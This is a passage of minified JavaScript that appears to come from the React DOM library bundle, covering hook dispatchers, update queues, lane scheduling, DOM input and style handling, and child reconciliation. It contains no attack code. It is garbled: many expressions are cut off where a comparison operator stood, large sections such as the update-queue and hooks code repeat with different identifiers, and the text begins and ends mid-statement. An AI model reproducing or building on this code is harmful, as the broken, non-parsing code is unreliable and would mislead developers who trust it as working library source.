u={eventTime:u,lane:j,tag:t.tag,payload:t.payload,callback:t.callback,next:null},I===null?(i=I=u,o=d):I=I.next=u,c|=j;if(t=t.next,t===null){if(t=p.shared.pending,t===null)break;j=t,t=j.next,j.next=null,p.lastBaseUpdate=j,p.shared.pending=null}}while(!0);if(I===null&&(o=d),p.baseState=o,p.firstBaseUpdate=i,p.lastBaseUpdate=I,a=p.shared.interleaved,a!==null){p=a;do c|=p.lane,p=p.next;while(p!==a)}else e===null&&(p.shared.lanes=0);Ha|=c,s.lanes=c,s.memoizedState=d}}function Ot(s,a,n){if(s=a.effects,a.effects=null,s!==null)for(a=0;an?n:4,s(!0);var l=ee.transition;ee.transition={};try{s(!1),a()}finally{F=n,ee.transition=l}}function ui(){return Ys().memoizedState}function dI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},yi(s))mi(a,n);else if(n=si(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),bi(n,a,l)}}function CI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(yi(s))mi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=si(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),bi(n,a,l))}}function yi(s){var a=s.alternate;return s===D||a!==null&&a===D}function mi(s,a){Kn=op=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function bi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}var rp={readContext:Vs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},jI={readContext:Vs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,Ii.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=dI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:_c,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=II.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ei(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(ti.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ci.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=_s,l=Us;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{zp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function Tg(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=Dp(s.type,!1),s;case 11:return s=Dp(s.type.render,!1),s;case 1:return s=Dp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case mc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case bc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case wc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function Ug(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ql(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function At(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Ql(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},_g=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){_g.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Og=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Og[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Be=null;function kc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var fe=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof fe!="function")throw Error(w(280));var a=s.stateNode;a&&(a=wp(a),fe(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(th(s)/oh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ks(a),s[a]=n}function hh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Yt=" ",Xt=!1;function Rr(s,a){switch(s){case"keyup":return xh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function zh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Xt=!0,Yt);case"textInput":return s=a.data,s===Yt&&Xt?null:s;default:return null}}function Dh(s,a){if(Da)return s==="compositionend"||!Xc&&Rr(s,a)?(s=Yr(),Kl=fc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ht(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=Ql();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ql(s.document)}return a}function Rc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $h(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&Rc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Kt(n,e);var c=Kt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Kn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==Ql(l)||(l=Ea,"selectionStart"in l&&Rc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Kn&&Ln(Kn,l)||(Kn=l,l=$l(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function F(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),Cs=ma(!1),Ra=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function js(s){return s=s.childContextTypes,s!=null}function sp(){S(Cs),S(os)}function Et(s,a,n){if(os.current!==ua)throw Error(w(168));F(os,a),F(Cs,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Ug(s)||"Unknown",p));return E({},n,l)}function ap(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,Ra=os.current,F(os,s),F(Cs,Cs.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,S(Cs),S(os),F(os,s)):S(Cs),F(Cs,n)}var Ts=null,kp=!1,le=!1;function Lr(s){Ts===null?Ts=[s]:Ts.push(s)}function iI(s){kp=!0,Lr(s)}function ba(){if(!le&&Ts!==null){le=!0;var s=0,a=K;try{var n=Ts;for(K=1;s>=c,p-=c,Us=1<<32-Ks(a)+p|n<Y?(x=B,B=null):x=B.sibling;var N=j(h,B,C[Y],y);if(N===null){B===null&&(B=x);break}s&&B&&N.alternate===null&&a(h,B),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,B=x}if(Y===C.length)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;YY?(x=B,B=null):x=B.sibling;var Xs=j(h,B,N.value,y);if(Xs===null){B===null&&(B=x);break}s&&B&&Xs.alternate===null&&a(h,B),g=e(Xs,g,Y),k===null?Z=Xs:k.sibling=Xs,k=Xs,B=x}if(N.done)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(B=l(h,B);!N.done;Y++,N=C.next())N=u(B,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&B.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&B.forEach(function(un){return a(h,un)}),J&&Za(h,Y),Z}function G(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&Lt(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=El(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ge(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,G(h,g,k(C._payload),y)}if(Vn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Gl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=ie(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return G}var on=$r(!0),qr=$r(!1),pp=ma(null),ep=null,Oa=null,Kc=null;function Fc(){Kc=Oa=ep=null}function Mc(s){var a=pp.current;S(pp),s._currentValue=a}function Ee(s,a,n){for(;s!==null;){var l=s.alternate;if((s.childLanes&a)!==a?(s.childLanes|=a,l!==null&&(l.childLanes|=a)):l!==null&&(l.childLanes&a)!==a&&(l.childLanes|=a),s===n)break;s=s.return}}function ln(s,a){ep=s,Kc=Oa=null,s=s.dependencies,s!==null&&s.firstContext!==null&&(s.lanes&a&&(ds=!0),s.firstContext=null)}function Vs(s){var a=s._currentValue;if(Kc!==s)if(s={context:s,memoizedValue:a,next:null},Oa===null){if(ep===null)throw Error(w(308));Oa=s,ep.dependencies={lanes:0,firstContext:s}}else Oa=Oa.next=s;return a}var Ba=null;function Sc(s){Ba===null?Ba=[s]:Ba.push(s)}function si(s,a,n,l){var p=a.interleaved;return p===null?(n.next=n,Sc(a)):(n.next=p.next,p.next=n),a.interleaved=n,$s(s,l)}function $s(s,a){s.lanes|=a;var n=s.alternate;for(n!==null&&(n.lanes|=a),n=s,s=s.return;s!==null;)s.childLanes|=a,n=s.alternate,n!==null&&(n.childLanes|=a),n=s,s=s.return;return n.tag===3?n.stateNode:null}var la=!1;function xc(s){s.updateQueue={baseState:s.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function ai(s,a){s=s.updateQueue,a.updateQueue===s&&(a.updateQueue={baseState:s.baseState,firstBaseUpdate:s.firstBaseUpdate,lastBaseUpdate:s.lastBaseUpdate,shared:s.shared,effects:s.effects})}function _s(s,a){return{eventTime:s,lane:a,tag:0,payload:null,callback:null,next:null}}function Ia(s,a,n){var l=s.updateQueue;if(l===null)return null;if(l=l.shared,H&2){var p=l.pending;return p===null?a.next=a:(a.next=p.next,p.next=a),l.pending=a,$s(s,n)}return p=l.interleaved,p===null?(a.next=a,Sc(l)):(a.next=p.next,p.next=a),l.interleaved=a,$s(s,n)}function Ml(s,a,n){if(a=a.updateQueue,a!==null&&(a=a.shared,(n&4194240)!==0)){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}function _t(s,a){var n=s.updateQueue,l=s.alternate;if(l!==null&&(l=l.updateQueue,n===l)){var p=null,e=null;if(n=n.firstBaseUpdate,n!==null){do{var c={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};e===null?p=e=c:e=e.next=c,n=n.next}while(n!==null);e===null?p=e=a:e=e.next=a}else p=e=a;n={baseState:l.baseState,firstBaseUpdate:p,lastBaseUpdate:e,shared:l.shared,effects:l.effects},s.updateQueue=n;return}s=n.lastBaseUpdate,s===null?n.firstBaseUpdate=a:s.next=a,n.lastBaseUpdate=a}function cp(s,a,n,l){var p=s.updateQueue;la=!1;var e=p.firstBaseUpdate,c=p.lastBaseUpdate,t=p.shared.pending;if(t!==null){p.shared.pending=null;var o=t,i=o.next;o.next=null,c===null?e=i:c.next=i,c=o;var I=s.alternate;I!==null&&(I=I.updateQueue,t=I.lastBaseUpdate,t!==c&&(t===null?I.firstBaseUpdate=i:t.next=i,I.lastBaseUpdate=o))}if(e!==null){var d=p.baseState;c=0,I=i=o=null,t=e;do{var j=t.lane,u=t.eventTime;if((l&j)===j){I!==null&&(I=I.next={eventTime:u,lane:0,tag:t.tag,payload:t.payload,callback:t.callback,next:null});s:{var m=s,b=t;switch(j=a,u=n,b.tag){case 1:if(m=b.payload,typeof m=="function"){d=m.call(u,d,j);break s}d=m;break s;case 3:m.flags=m.flags&-65537|128;case 0:if(m=b.payload,j=typeof m=="function"?m.call(u,d,j):m,j==null)break s;d=E({},d,j);break s;case 2:la=!0}}t.callback!==null&&t.lane!==0&&(s.flags|=64,j=p.effects,j===null?p.effects=[t]:j.push(t))}else u={eventTime:u,lane:j,tag:t.tag,payload:t.payload,callback:t.callback,next:null},I===null?(i=I=u,o=d):I=I.next=u,c|=j;if(t=t.next,t===null){if(t=p.shared.pending,t===null)break;j=t,t=j.next,j.next=null,p.lastBaseUpdate=j,p.shared.pending=null}}while(!0);if(I===null&&(o=d),p.baseState=o,p.firstBaseUpdate=i,p.lastBaseUpdate=I,a=p.shared.interleaved,a!==null){p=a;do c|=p.lane,p=p.next;while(p!==a)}else e===null&&(p.shared.lanes=0);Ha|=c,s.lanes=c,s.memoizedState=d}}function Ot(s,a,n){if(s=a.effects,a.effects=null,s!==null)for(a=0;an?n:4,s(!0);var l=ee.transition;ee.transition={};try{s(!1),a()}finally{K=n,ee.transition=l}}function ui(){return Ys().memoizedState}function dI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},yi(s))mi(a,n);else if(n=si(s,a,n,l),n!==null){var p=is();Fs(n,s,l,p),bi(n,a,l)}}function CI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(yi(s))mi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=si(s,a,p,l),n!==null&&(p=is(),Fs(n,s,l,p),bi(n,a,l))}}function yi(s){var a=s.alternate;return s===D||a!==null&&a===D}function mi(s,a){Fn=op=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function bi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Wc(s,n)}}var rp={readContext:Vs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},jI={readContext:Vs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,Ii.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=dI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:Lc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=II.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ei(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(ti.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ci.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Ls,l=Us;n=(l&~(1<<32-Ks(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=tp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return st(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function ZI(s,a){switch(Nc(a),a.tag){case 1:return js(a.type)&&sp(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(Cs),S(os),Dc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return zc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Mc(a.type._context),null;case 22:case 23:return st(),null;case 24:return null;default:return null}}var 